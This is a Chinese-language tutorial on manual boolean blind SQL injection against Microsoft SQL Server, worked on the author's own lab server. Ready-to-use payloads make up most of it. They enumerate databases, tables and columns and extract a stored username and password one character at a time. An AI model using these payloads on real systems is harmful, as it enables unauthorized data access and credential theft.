Microsoft SQL Server手注之布尔型盲注

saulGoodman

一个专注于红队攻防研究的公众号

Microsoft SQL Server手注之布尔型盲注

判断是否存在注⼊

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and 1=1 
and 1=2

猜测数据库名

先猜dbid是否存在：

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1

上面的这条语句的意思是查询 dbid=5 是否存在，最后那个=1就是是否存在的意思！存在说明返回正常！

因为我数据库新建了两个：test（dbid5）、saulgoodman（dbid6）

所以我们就能查询出他存在dbid6：

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6)=1

查询dbid7的话就会返回错误：因为它不存在

根据dbid猜库名，先猜出长度

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1

因为我们dbid5的数据库名是test，他的长度是4！dbid=5 and len(name)=4 这条语句的意思是查询 dbid=5 的这个数据库名的长度是否=4，返回正常说明它的长度=4！

http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6 and len(name)=11)=1

我们查询dbid6的数据库名是saulgoodman，他的长度是11！dbid=6 and len(name)=11 这条语句的意思是查询 dbid=6 的这个数据库名的长度是否=11，返回正常说明它的长度=11！以此类推查询多个数据库名的长度！

根据dbid查询挨个查询数据库名

PS：substring(str,start,len) 截取字符串的作用，第一个参数为要截取的字符串，第二个参数为从哪里开始截取，第三个参数为截取的长度

ascii(char) 把字符转换为ascii值

因为我们dbid5的数据库名是test，他的第一个字符t是ASCII码为116，我们就可以使用下面的语句来判断：

and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116

依次查询：

第二个字符：e
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),2,1)) = 101
第三个字符：s
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),3,1)) = 115
第四个字符：t
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),4,1)) = 116

这样我们就猜解出来了数据库名为：test！

如果想要猜解第二个数据库名的话那么就吧dbid更改为6，然后按照上面的操作重复就好了！

猜解表名

因为我们知道了数据库名是test，然后我们就可以使用下面的语句来查询第一个表名的长度是否等于5(表名是users)：

and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and len(name)=5)=1

由上图可见，页面返回正常说明它的长度是5，那么我们就可以挨个猜解他的字符：users

猜解第一个字符：u
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=117)=1
猜解第二个字符：s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,2,1))=115)=1
猜解第三个字符：e
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,3,1))=101)=1
猜解第四个字符：r
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,4,1))=114)=1
猜解第五个字符：s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,5,1))=115)=1

因为我们知道了数据库名是test，第一个表名是 users，然后我们就可以使用下面的语句来查询第二个表名的字符(表名是info)：

猜解第一个字符：i
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))=105)=1
猜解第二个字符：n
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,2,1))=110)=1
猜解第三个字符：f
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,3,1))=102)=1
猜解第二个字符：o
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,4,1))=111)=1

猜解列名

因为我们知道了表名是 users，那么我们可以猜解 users 表名下的列名：（列名是 username）

猜解列名第一个字符：u
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,1,1))=117)
猜解列名第二个字符：s
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,2,1))=115)
猜解列名第三个字符：e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,3,1))=101)
猜解列名第四个字符：r
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,4,1))=114)
猜解列名第五个字符：n
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,5,1))=110)
猜解列名第六个字符：a
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,6,1))=97)
猜解列名第七个字符：m
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,7,1))=109)
猜解列名第八个字符：e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,8,1))=101)

这样就猜解出来了第一个列名，username！

第二种方式：我们有 id、username、password、age 四个列

获取第一列：（列名是id）

获取第一个字符：i
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),1,1)) =105
获取第二个字符：d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),2,1)) =100

获取第二列：（列名是username）

获取第一个字符：u
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),1,1)) = 117
获取第二个字符：s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),2,1)) = 115
获取第三个字符：e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),3,1)) = 101
获取第四个字符：r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),4,1)) = 114
获取第五个字符：n
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),5,1)) = 110
获取第六个字符：a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),6,1)) = 97
获取第七个字符：m
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),7,1)) = 109
获取第八个字符：e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),8,1)) = 101

获取第三列：（列名是password）

获取第一个字符：p
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),1,1)) =112
获取第二个字符：a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),2,1)) =97
获取第三个字符：s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),3,1)) =115
获取第四个字符：s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),4,1)) =115
获取第五个字符：w
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),5,1)) =119
获取第六个字符：o
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),6,1)) =111
获取第七个字符：r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),7,1)) =114
获取第八个字符：d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),8,1)) =100

如果想获取第四列的话继续在后面加一个判断语句：and name not in ('列名') 就可以了！

获取数据

and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

们知道了表名是：users，列名是：username、passwrd，那么我们就开始爆数据了：（saul）

判断username列第一个字符：s
and ascii(substring((select top 1 username from users),1,1)) = 115
判断username列第二个字符：a
and ascii(substring((select top 1 username from users),2,1)) = 97
判断username列第三个字符：u
and ascii(substring((select top 1 username from users),3,1)) = 117
判断username列第四个字符：l
and ascii(substring((select top 1 username from users),4,1)) =108

这样就获取到了第一个用户名为：saul

获取 saul 的密码：（密码是saul520）

判断 password 列第一个字符：s
and ascii(substring((select top 1 password from users),1,1)) =115
判断 password 列第二个字符：a
and ascii(substring((select top 1 password from users),2,1)) =97
判断 password 列第三个字符：u
and ascii(substring((select top 1 password from users),3,1)) =117
判断 password 列第四个字符：l
and ascii(substring((select top 1 password from users),4,1)) =108
判断 password 列第五个字符：5
and ascii(substring((select top 1 password from users),5,1)) =53
判断 password 列第六个字符：2
and ascii(substring((select top 1 password from users),6,1)) =50
判断 password 列第七个字符：0
and ascii(substring((select top 1 password from users),7,1)) =48

自此天书Mssql手工注入之布尔盲注就到这里~